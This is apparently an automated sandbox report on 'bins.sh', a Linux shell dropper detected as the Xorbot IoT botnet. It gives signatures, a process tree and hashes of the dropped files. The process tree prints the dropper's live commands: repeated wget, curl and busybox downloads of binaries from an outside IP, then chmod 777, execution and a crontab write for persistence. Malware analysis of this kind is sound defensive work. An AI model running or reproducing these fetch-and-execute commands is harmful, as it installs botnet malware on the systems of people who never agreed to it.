Analysis

  • max time kernel
    149s
  • max time network
    138s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240418-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    01/12/2024, 20:21

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    bc7b6cc669c02f1b68444287a7bfa167

  • SHA1

    63f8dc11fc9104552991cb85032f5a929b7321ba

  • SHA256

    e75e254332c4d92525192f7fa2a0734b068e2e3e6a6878feb41ada773de6ada5

  • SHA512

    46744e2e1d1cf25913777f3bbc3e85e4a303db758e4dfd7e9d9e679aee0d08ba2b205fcdb839d37b6933aaa5d7d7b81aa52e257aaeb1400b2b105218d1ad75b2

  • SSDEEP

    192:e+b+H+f+O+++61RBogpdtREsk92oA4txZ1dVZBa6rvcoU6/n+1RBogjtRE/7+b+o:ecE+3T3dtREso11rvcoU6/n+tREDcE+N

Malware Config

Signatures

  • Detects Xorbot 7 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (884) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 30 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:710
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:712
        • /usr/bin/wget
          wget http://216.126.231.240/bins/UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
          2⤵
          • Writes file to tmp directory
          PID:714
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:739
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
          2⤵
          • Writes file to tmp directory
          PID:741
        • /bin/chmod
          chmod 777 UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
          2⤵
          • File and Directory Permissions Modification
          PID:742
        • /tmp/UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
          ./UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
          2⤵
          • Executes dropped EXE
          PID:743
        • /bin/rm
          rm UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
          2⤵
            PID:745
          • /usr/bin/wget
            wget http://216.126.231.240/bins/BFJMF6ZGI1Yc76ZQHdl9ds8OWwUZvBa6Gw
            2⤵
            • Writes file to tmp directory
            PID:746
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/BFJMF6ZGI1Yc76ZQHdl9ds8OWwUZvBa6Gw
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:747
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/BFJMF6ZGI1Yc76ZQHdl9ds8OWwUZvBa6Gw
            2⤵
            • Writes file to tmp directory
            PID:784
          • /bin/chmod
            chmod 777 BFJMF6ZGI1Yc76ZQHdl9ds8OWwUZvBa6Gw
            2⤵
            • File and Directory Permissions Modification
            PID:792
          • /tmp/BFJMF6ZGI1Yc76ZQHdl9ds8OWwUZvBa6Gw
            ./BFJMF6ZGI1Yc76ZQHdl9ds8OWwUZvBa6Gw
            2⤵
            • Executes dropped EXE
            PID:793
          • /bin/rm
            rm BFJMF6ZGI1Yc76ZQHdl9ds8OWwUZvBa6Gw
            2⤵
              PID:796
            • /usr/bin/wget
              wget http://216.126.231.240/bins/k4F5gNlEomwbD2CUfi90R2pQnlh4JGFt49
              2⤵
              • Writes file to tmp directory
              PID:797
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/k4F5gNlEomwbD2CUfi90R2pQnlh4JGFt49
              2⤵
              • Writes file to tmp directory
              PID:799
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/k4F5gNlEomwbD2CUfi90R2pQnlh4JGFt49
              2⤵
              • Writes file to tmp directory
              PID:800
            • /bin/chmod
              chmod 777 k4F5gNlEomwbD2CUfi90R2pQnlh4JGFt49
              2⤵
              • File and Directory Permissions Modification
              PID:801
            • /tmp/k4F5gNlEomwbD2CUfi90R2pQnlh4JGFt49
              ./k4F5gNlEomwbD2CUfi90R2pQnlh4JGFt49
              2⤵
              • Executes dropped EXE
              PID:802
            • /bin/rm
              rm k4F5gNlEomwbD2CUfi90R2pQnlh4JGFt49
              2⤵
                PID:804
              • /usr/bin/wget
                wget http://216.126.231.240/bins/GDfn8p8Iu161B4XrLITOxuB49ly0hufBrV
                2⤵
                • Writes file to tmp directory
                PID:805
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/GDfn8p8Iu161B4XrLITOxuB49ly0hufBrV
                2⤵
                • Writes file to tmp directory
                PID:814
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/GDfn8p8Iu161B4XrLITOxuB49ly0hufBrV
                2⤵
                • Writes file to tmp directory
                PID:829
              • /bin/chmod
                chmod 777 GDfn8p8Iu161B4XrLITOxuB49ly0hufBrV
                2⤵
                • File and Directory Permissions Modification
                PID:837
              • /tmp/GDfn8p8Iu161B4XrLITOxuB49ly0hufBrV
                ./GDfn8p8Iu161B4XrLITOxuB49ly0hufBrV
                2⤵
                • Executes dropped EXE
                PID:838
              • /bin/rm
                rm GDfn8p8Iu161B4XrLITOxuB49ly0hufBrV
                2⤵
                  PID:841
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/xcJpLPn7ugmH9t08uLYyRbE0hlpkbwrXeH
                  2⤵
                  • Writes file to tmp directory
                  PID:842
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/xcJpLPn7ugmH9t08uLYyRbE0hlpkbwrXeH
                  2⤵
                  • Writes file to tmp directory
                  PID:843
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/xcJpLPn7ugmH9t08uLYyRbE0hlpkbwrXeH
                  2⤵
                  • Writes file to tmp directory
                  PID:844
                • /bin/chmod
                  chmod 777 xcJpLPn7ugmH9t08uLYyRbE0hlpkbwrXeH
                  2⤵
                  • File and Directory Permissions Modification
                  PID:845
                • /tmp/xcJpLPn7ugmH9t08uLYyRbE0hlpkbwrXeH
                  ./xcJpLPn7ugmH9t08uLYyRbE0hlpkbwrXeH
                  2⤵
                  • Executes dropped EXE
                  PID:846
                • /bin/rm
                  rm xcJpLPn7ugmH9t08uLYyRbE0hlpkbwrXeH
                  2⤵
                    PID:848
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/EAebvWCwR60g2B9eb3rAfAR7uJuGKqta4N
                    2⤵
                    • Writes file to tmp directory
                    PID:849
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/EAebvWCwR60g2B9eb3rAfAR7uJuGKqta4N
                    2⤵
                    • Writes file to tmp directory
                    PID:850
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/EAebvWCwR60g2B9eb3rAfAR7uJuGKqta4N
                    2⤵
                    • Writes file to tmp directory
                    PID:851
                  • /bin/chmod
                    chmod 777 EAebvWCwR60g2B9eb3rAfAR7uJuGKqta4N
                    2⤵
                    • File and Directory Permissions Modification
                    PID:852
                  • /tmp/EAebvWCwR60g2B9eb3rAfAR7uJuGKqta4N
                    ./EAebvWCwR60g2B9eb3rAfAR7uJuGKqta4N
                    2⤵
                    • Executes dropped EXE
                    PID:853
                  • /bin/rm
                    rm EAebvWCwR60g2B9eb3rAfAR7uJuGKqta4N
                    2⤵
                      PID:855
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
                      2⤵
                      • Writes file to tmp directory
                      PID:856
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
                      2⤵
                      • Writes file to tmp directory
                      PID:857
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
                      2⤵
                      • Writes file to tmp directory
                      PID:858
                    • /bin/chmod
                      chmod 777 2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
                      2⤵
                      • File and Directory Permissions Modification
                      PID:859
                    • /tmp/2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
                      ./2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
                      2⤵
                      • Executes dropped EXE
                      PID:860
                    • /bin/rm
                      rm 2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
                      2⤵
                        PID:862
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/ZvM9Mh3sayVk4Xc5qWxzqyXMmS7ruBZhui
                        2⤵
                        • Writes file to tmp directory
                        PID:863
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/ZvM9Mh3sayVk4Xc5qWxzqyXMmS7ruBZhui
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:864
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/ZvM9Mh3sayVk4Xc5qWxzqyXMmS7ruBZhui
                        2⤵
                        • Writes file to tmp directory
                        PID:868
                      • /bin/chmod
                        chmod 777 ZvM9Mh3sayVk4Xc5qWxzqyXMmS7ruBZhui
                        2⤵
                        • File and Directory Permissions Modification
                        PID:869
                      • /tmp/ZvM9Mh3sayVk4Xc5qWxzqyXMmS7ruBZhui
                        ./ZvM9Mh3sayVk4Xc5qWxzqyXMmS7ruBZhui
                        2⤵
                        • Executes dropped EXE
                        PID:870
                      • /bin/rm
                        rm ZvM9Mh3sayVk4Xc5qWxzqyXMmS7ruBZhui
                        2⤵
                          PID:872
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/xLTXZlYpEAOUfiZT9MgDYLISFGCjoBaE4g
                          2⤵
                          • Writes file to tmp directory
                          PID:873
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/xLTXZlYpEAOUfiZT9MgDYLISFGCjoBaE4g
                          2⤵
                          • Writes file to tmp directory
                          PID:874
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/xLTXZlYpEAOUfiZT9MgDYLISFGCjoBaE4g
                          2⤵
                          • Writes file to tmp directory
                          PID:875
                        • /bin/chmod
                          chmod 777 xLTXZlYpEAOUfiZT9MgDYLISFGCjoBaE4g
                          2⤵
                          • File and Directory Permissions Modification
                          PID:876
                        • /tmp/xLTXZlYpEAOUfiZT9MgDYLISFGCjoBaE4g
                          ./xLTXZlYpEAOUfiZT9MgDYLISFGCjoBaE4g
                          2⤵
                          • Executes dropped EXE
                          PID:877
                        • /bin/rm
                          rm xLTXZlYpEAOUfiZT9MgDYLISFGCjoBaE4g
                          2⤵
                            PID:879
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/ycBq2T6CMRwrmEF70eZAAZya5n1cnlTWnG
                            2⤵
                            • Writes file to tmp directory
                            PID:880
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/ycBq2T6CMRwrmEF70eZAAZya5n1cnlTWnG
                            2⤵
                            • Writes file to tmp directory
                            PID:881
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/ycBq2T6CMRwrmEF70eZAAZya5n1cnlTWnG
                            2⤵
                            • Writes file to tmp directory
                            PID:882
                          • /bin/chmod
                            chmod 777 ycBq2T6CMRwrmEF70eZAAZya5n1cnlTWnG
                            2⤵
                            • File and Directory Permissions Modification
                            PID:883
                          • /tmp/ycBq2T6CMRwrmEF70eZAAZya5n1cnlTWnG
                            ./ycBq2T6CMRwrmEF70eZAAZya5n1cnlTWnG
                            2⤵
                            • Executes dropped EXE
                            • Renames itself
                            • Reads runtime system information
                            PID:884
                            • /bin/sh
                              sh -c "crontab -l"
                              3⤵
                                PID:886
                                • /usr/bin/crontab
                                  crontab -l
                                  4⤵
                                  • Reads runtime system information
                                  PID:887
                              • /bin/sh
                                sh -c "crontab -"
                                3⤵
                                  PID:888
                                  • /usr/bin/crontab
                                    crontab -
                                    4⤵
                                    • Creates/modifies Cron job
                                    • Reads runtime system information
                                    PID:889
                              • /bin/rm
                                rm ycBq2T6CMRwrmEF70eZAAZya5n1cnlTWnG
                                2⤵
                                  PID:891
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/dUCBRlyUdy8OBxaQMTiMDXjWkvPyOWMIdr
                                  2⤵
                                    PID:894

                                Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • /tmp/2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l

                                  Filesize

                                  151KB

                                  MD5

                                  3c90d5820bddcf7c5d1bd21dfa49d958

                                  SHA1

                                  5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                  SHA256

                                  bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                  SHA512

                                  54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                • /tmp/BFJMF6ZGI1Yc76ZQHdl9ds8OWwUZvBa6Gw

                                  Filesize

                                  117KB

                                  MD5

                                  849fa04ef88a8e8de32cb2e8538de5fe

                                  SHA1

                                  c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                  SHA256

                                  8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                  SHA512

                                  2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                • /tmp/EAebvWCwR60g2B9eb3rAfAR7uJuGKqta4N

                                  Filesize

                                  127KB

                                  MD5

                                  89077b7bd4bcafca7713be43635c4862

                                  SHA1

                                  fc02edb8fba29ea8ee99e6157ef8560334530052

                                  SHA256

                                  78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                  SHA512

                                  1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                • /tmp/GDfn8p8Iu161B4XrLITOxuB49ly0hufBrV

                                  Filesize

                                  98KB

                                  MD5

                                  5141342d0df8699fa32a6b066a0c592e

                                  SHA1

                                  8157673225bd5182f16215e2aa823a25ca2d4fbc

                                  SHA256

                                  54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                  SHA512

                                  d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                • /tmp/UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w

                                  Filesize

                                  112KB

                                  MD5

                                  05d7857dcead18bbd86d2935f591873c

                                  SHA1

                                  34d18f41ef35f93d5364ce3e24d74730a4e91985

                                  SHA256

                                  2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                  SHA512

                                  d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                • /tmp/ZvM9Mh3sayVk4Xc5qWxzqyXMmS7ruBZhui

                                  Filesize

                                  107KB

                                  MD5

                                  eb9c3a0de91fcf16ba17cb24608df68c

                                  SHA1

                                  09d95a7d70d5e115d103be51edff7c498d272fac

                                  SHA256

                                  dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                  SHA512

                                  9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                • /tmp/k4F5gNlEomwbD2CUfi90R2pQnlh4JGFt49

                                  Filesize

                                  99KB

                                  MD5

                                  9438d9bc392bcf300a5583b6df5bc8f6

                                  SHA1

                                  375a6ae34b516f6f3eeea8030c4084f585017efa

                                  SHA256

                                  68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                  SHA512

                                  1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                • /tmp/xLTXZlYpEAOUfiZT9MgDYLISFGCjoBaE4g

                                  Filesize

                                  177KB

                                  MD5

                                  786d75a158fe731feca3880f436082c0

                                  SHA1

                                  79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                  SHA256

                                  5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                  SHA512

                                  7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                • /tmp/xcJpLPn7ugmH9t08uLYyRbE0hlpkbwrXeH

                                  Filesize

                                  119KB

                                  MD5

                                  1b166b95f9cb4b079ef1b9ec8363ddf3

                                  SHA1

                                  0d8eb08add467b3b5474f9b25909297fe7c2839c

                                  SHA256

                                  94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                  SHA512

                                  983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                • /tmp/ycBq2T6CMRwrmEF70eZAAZya5n1cnlTWnG

                                  Filesize

                                  151KB

                                  MD5

                                  6c583043d91c55aa470c08c87058e917

                                  SHA1

                                  abf65a5b9bba69980278ad09356e53de8bb89439

                                  SHA256

                                  2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                  SHA512

                                  82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                • /var/spool/cron/crontabs/tmp.TGsdQn

                                  Filesize

                                  210B

                                  MD5

                                  6d2bf73706441cca9edc4084b93919e2

                                  SHA1

                                  e379ce670d9fd383adde24bfc0c4b8548f40f2f1

                                  SHA256

                                  d9d0c331b837208fd317ee310ed65ebbfb6be9be5b178c8e2d6301e3e38da601

                                  SHA512

                                  c094a2cd30d9208394bd459311d3f82e495915e615ab0e408df1e73062fba8170ae2aceb9445ae5fc201abf82a1964683bae089ba5e1842bfc37e75b67aae990